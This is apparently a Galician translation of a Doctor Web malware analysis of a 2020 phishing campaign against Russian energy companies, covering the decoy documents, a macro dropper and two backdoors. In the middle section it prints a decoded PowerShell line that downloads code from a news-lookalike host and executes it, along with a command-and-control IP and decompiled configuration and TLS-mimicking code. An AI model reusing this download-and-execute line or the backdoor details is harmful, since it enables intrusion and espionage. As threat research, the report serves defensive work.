Estamos investigando un ataque de espías dirixido ao complexo de combustible e enerxía ruso

Estamos investigando un ataque de espías dirixido ao complexo de combustible e enerxía ruso

A nosa experiencia na investigación de incidentes de seguridade informática demostra que o correo electrónico segue sendo unha das canles máis comúns que utilizan os atacantes para penetrar inicialmente en infraestruturas de rede atacadas. Unha acción descoidada cunha carta sospeitosa (ou non tan sospeitosa) convértese nun punto de entrada para unha maior infección, polo que os cibercriminales están utilizando activamente métodos de enxeñería social, aínda que con distintos graos de éxito.

Nesta publicación queremos falar da nosa recente investigación sobre unha campaña de spam dirixida a varias empresas do complexo enerxético e de combustible ruso. Todos os ataques seguiron o mesmo escenario usando correos electrónicos falsos, e ninguén parecía ter esforzado moito no contido de texto destes correos electrónicos.

Servizo de intelixencia

Todo comezou a finais de abril de 2020, cando os analistas de virus de Doctor Web detectaron unha campaña de spam na que os piratas informáticos enviaban un directorio telefónico actualizado aos empregados dunha serie de empresas do complexo enerxético e de combustible ruso. Por suposto, esta non foi unha simple mostra de preocupación, xa que o directorio non era real e os documentos .docx descargaban dúas imaxes desde recursos remotos.

Un deles descargouse no ordenador do usuario desde o servidor de noticias[.]zannews[.]com. Cabe destacar que o nome de dominio é semellante ao dominio do centro de medios anticorrupción de Casaquistán - zannews[.]kz. Por outra banda, o dominio utilizado recordou inmediatamente a outra campaña de 2015 coñecida como TOPNEWS, que utilizaba unha porta traseira de ICEFOG e tiña dominios de control troiano coa subcadea "noticias" nos seus nomes. Outra característica interesante foi que ao enviar correos electrónicos a diferentes destinatarios, as solicitudes para descargar unha imaxe utilizaban parámetros de solicitude diferentes ou nomes de imaxe únicos.

Cremos que se fixo coa finalidade de recoller información para identificar un destinatario "confiable", que se aseguraría de abrir a carta no momento oportuno. Utilizouse o protocolo SMB para descargar a imaxe do segundo servidor, o que podería facerse para recoller hash de NetNTLM dos ordenadores dos empregados que abriron o documento recibido.

E aquí está a propia carta co directorio falso:

Estamos investigando un ataque de espías dirixido ao complexo de combustible e enerxía ruso

En xuño deste ano, os piratas informáticos comezaron a usar un novo nome de dominio, sports[.]manhajnews[.]com, para cargar imaxes. A análise mostrou que os subdominios manhajnews[.]com utilízanse nos correos de spam desde, polo menos, setembro de 2019. Un dos obxectivos desta campaña era unha gran universidade rusa.

Ademais, en xuño, os organizadores do ataque elaboraron un novo texto para as súas cartas: esta vez o documento contiña información sobre o desenvolvemento da industria. O texto da carta indicaba claramente que o seu autor non era un falante nativo de ruso ou estaba creando deliberadamente tal impresión sobre si mesmo. Desafortunadamente, as ideas de desenvolvemento da industria, como sempre, resultaron ser só unha portada: o documento volveu descargar dúas imaxes, mentres que o servidor cambiou para descargar[.]inklingpaper[.]com.

A seguinte innovación seguiu en xullo. Nun intento de evitar a detección de documentos maliciosos polos programas antivirus, os atacantes comezaron a usar documentos de Microsoft Word cifrados cun contrasinal. Ao mesmo tempo, os atacantes decidiron utilizar unha técnica clásica de enxeñería social: notificación de recompensa.

Estamos investigando un ataque de espías dirixido ao complexo de combustible e enerxía ruso

O texto do recurso foi redactado de novo co mesmo estilo, o que espertou unha sospeita adicional entre o destinatario. O servidor para descargar a imaxe tampouco cambiou.

Teña en conta que en todos os casos, as caixas de correo electrónico rexistradas nos dominios mail[.]ru e yandex[.]ru utilizáronse para enviar cartas.

Ataque

A principios de setembro de 2020, era hora de actuar. Os nosos analistas de virus rexistraron unha nova onda de ataques, na que os atacantes volveron enviar cartas co pretexto de actualizar un directorio telefónico. Non obstante, esta vez o anexo contiña unha macro maliciosa.

Ao abrir o documento adxunto, a macro creou dous ficheiros:

  • Script VBS %APPDATA%microsoftwindowsstart menuprogramsstartupadoba.vbs, que estaba destinado a lanzar un ficheiro por lotes;
  • O propio ficheiro por lotes %APPDATA%configstest.bat, que estaba ofuscado.

Estamos investigando un ataque de espías dirixido ao complexo de combustible e enerxía ruso

A esencia do seu traballo redúcese a lanzar o shell Powershell con certos parámetros. Os parámetros que se pasan ao intérprete de comandos descodícanse en comandos:

$o = [activator]::CreateInstance([type]::GetTypeFromCLSID("F5078F35-C551-11D3-89B9-0000F81FE221"));$o.Open("GET", "http://newsinfo.newss.nl/nissenlist/johnlists.html", $False);$o.Send(); IEX $o.responseText;

Como se desprende dos comandos presentados, o dominio desde o que se descarga a carga útil volve disfrazarse de sitio de noticias. Un sinxelo cargador, cuxa única tarefa é recibir o shellcode do servidor de comandos e control e executalo. Puidemos identificar dous tipos de portas traseiras que se poden instalar no PC da vítima.

BackDoor.Siggen2.3238

O primeiro é BackDoor.Siggen2.3238 — Os nosos especialistas non se atoparan antes, e tampouco houbo mencións deste programa por parte doutros provedores de antivirus.

Este programa é unha porta traseira escrita en C++ e que se executa en sistemas operativos Windows de 32 bits.

BackDoor.Siggen2.3238 é capaz de comunicarse co servidor de xestión mediante dous protocolos: HTTP e HTTPS. A mostra probada usa o protocolo HTTPS. O seguinte axente de usuario utilízase nas solicitudes ao servidor:

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; SE)

Neste caso, todas as solicitudes entréganse co seguinte conxunto de parámetros:

%s;type=%s;length=%s;realdata=%send

onde cada liña %s substitúese correspondente por:

  • ID do ordenador infectado,
  • tipo de solicitude enviada,
  • lonxitude dos datos no campo realdata,
  • datos.

Na fase de recollida de información sobre o sistema infectado, a porta traseira xera unha liña como:

lan=%s;cmpname=%s;username=%s;version=%s;

onde lan é o enderezo IP do ordenador infectado, cmpname é o nome do ordenador, username é o nome de usuario, versión é a liña 0.0.4.03.

Esta información co identificador sysinfo envíase mediante unha solicitude POST ao servidor de control situado en https[:]//31.214[.]157.14/log.txt. Se en resposta BackDoor.Siggen2.3238 recibe o sinal HEART, a conexión considérase exitosa e a porta traseira comeza o ciclo principal de comunicación co servidor.

Descrición máis completa dos principios de funcionamento BackDoor.Siggen2.3238 está no noso biblioteca de virus.

BackDoor.Whitebird.23

O segundo programa é unha modificación da porta traseira BackDoor.Whitebird, xa coñecida por nós polo incidente cunha axencia gobernamental en Casaquistán. Esta versión está escrita en C++ e está deseñada para funcionar en sistemas operativos Windows de 32 e 64 bits.

Como a maioría dos programas deste tipo, BackDoor.Whitebird.23 deseñado para establecer unha conexión cifrada co servidor de control e control non autorizado dun ordenador infectado. Instalado nun sistema comprometido mediante un contagotas BackDoor.Siggen2.3244.

A mostra que examinamos foi unha biblioteca maliciosa con dúas exportacións:

  • Google Play
  • Proba.

Ao comezo do seu traballo, descifra a configuración cableada no corpo da porta traseira usando un algoritmo baseado na operación XOR co byte 0x99. A configuración parece:


struct st_cfg
{
  _DWORD dword0;
  wchar_t campaign[64];
  wchar_t cnc_addr[256];
  _DWORD cnc_port;
  wchar_t cnc_addr2[100];
  wchar_t cnc_addr3[100];
  _BYTE working_hours[1440];
  wchar_t proxy_domain[50];
  _DWORD proxy_port;
  _DWORD proxy_type;
  _DWORD use_proxy;
  _BYTE proxy_login[50];
  _BYTE proxy_password[50];
  _BYTE gapa8c[256];
}; 

Para garantir o seu funcionamento constante, a porta traseira cambia o valor especificado no campo horas de traballo configuracións. O campo contén 1440 bytes, que toman os valores 0 ou 1 e representan cada minuto de cada hora do día. Crea un fío separado para cada interface de rede que escoita a interface e busca paquetes de autorización no servidor proxy desde o ordenador infectado. Cando se detecta un paquete deste tipo, a porta traseira engade información sobre o servidor proxy á súa lista. Ademais, comproba a presenza dun proxy a través de WinAPI InternetQueryOptionW.

O programa comproba o minuto e a hora actuais e compárao cos datos do campo horas de traballo configuracións. Se o valor do minuto correspondente do día non é cero, establécese unha conexión co servidor de control.

Establecer unha conexión co servidor simula a creación dunha conexión mediante o protocolo TLS versión 1.0 entre o cliente e o servidor. O corpo da porta traseira contén dous buffers.

O primeiro búfer contén o paquete TLS 1.0 Client Hello.

Estamos investigando un ataque de espías dirixido ao complexo de combustible e enerxía ruso

O segundo búfer contén paquetes de intercambio de claves de cliente TLS 1.0 cunha lonxitude de clave de 0x100 bytes, especificación de cambio de cifrado, mensaxe de apretón de mans cifrada.

Estamos investigando un ataque de espías dirixido ao complexo de combustible e enerxía ruso

Ao enviar un paquete Client Hello, a porta traseira escribe 4 bytes da hora actual e 28 bytes de datos pseudoaleatorios no campo Client Random, calculados do seguinte xeito:


v3 = time(0);
t = (v3 >> 8 >> 16) + ((((((unsigned __int8)v3 << 8) + BYTE1(v3)) << 8) + BYTE2(v3)) << 8);
for ( i = 0; i < 28; i += 4 )
  *(_DWORD *)&clientrnd[i] = t + *(_DWORD *)&cnc_addr[i / 4];
for ( j = 0; j < 28; ++j )
  clientrnd[j] ^= 7 * (_BYTE)j;

O paquete recibido envíase ao servidor de control. A resposta (paquete Server Hello) comproba:

  • cumprimento do protocolo TLS versión 1.0;
  • correspondencia da marca de tempo (os primeiros 4 bytes do campo do paquete de datos aleatorios) especificada polo cliente coa marca de tempo especificada polo servidor;
  • coincidencia dos primeiros 4 bytes despois da marca de tempo no campo Datos aleatorios do cliente e do servidor.

No caso das coincidencias especificadas, a porta traseira prepara un paquete de intercambio de claves de cliente. Para iso, modifica a chave pública no paquete de intercambio de claves do cliente, así como os datos de cifrado IV e cifrado no paquete de mensaxes de apretón de mans cifrados.

A porta traseira recibe entón o paquete do servidor de comandos e control, comproba que a versión do protocolo TLS é 1.0 e despois acepta outros 54 bytes (o corpo do paquete). Isto completa a configuración da conexión.

Descrición máis completa dos principios de funcionamento BackDoor.Whitebird.23 está no noso biblioteca de virus.

Conclusión e conclusións

A análise dos documentos, do malware e da infraestrutura empregada permítenos dicir con confianza que o ataque foi preparado por un dos grupos chineses APT. Tendo en conta a funcionalidade das portas traseiras que se instalan nos ordenadores das vítimas no caso dun ataque exitoso, a infección leva, como mínimo, ao roubo de información confidencial dos ordenadores das organizacións atacadas.

Ademais, un escenario moi probable é a instalación de troianos especializados en servidores locais cunha función especial. Estes poden ser controladores de dominio, servidores de correo, pasarelas de Internet, etc. Como puidemos ver no exemplo incidente en Casaquistán, estes servidores son de especial interese para os atacantes por varios motivos.

Fonte: www.habr.com

Engadir un comentario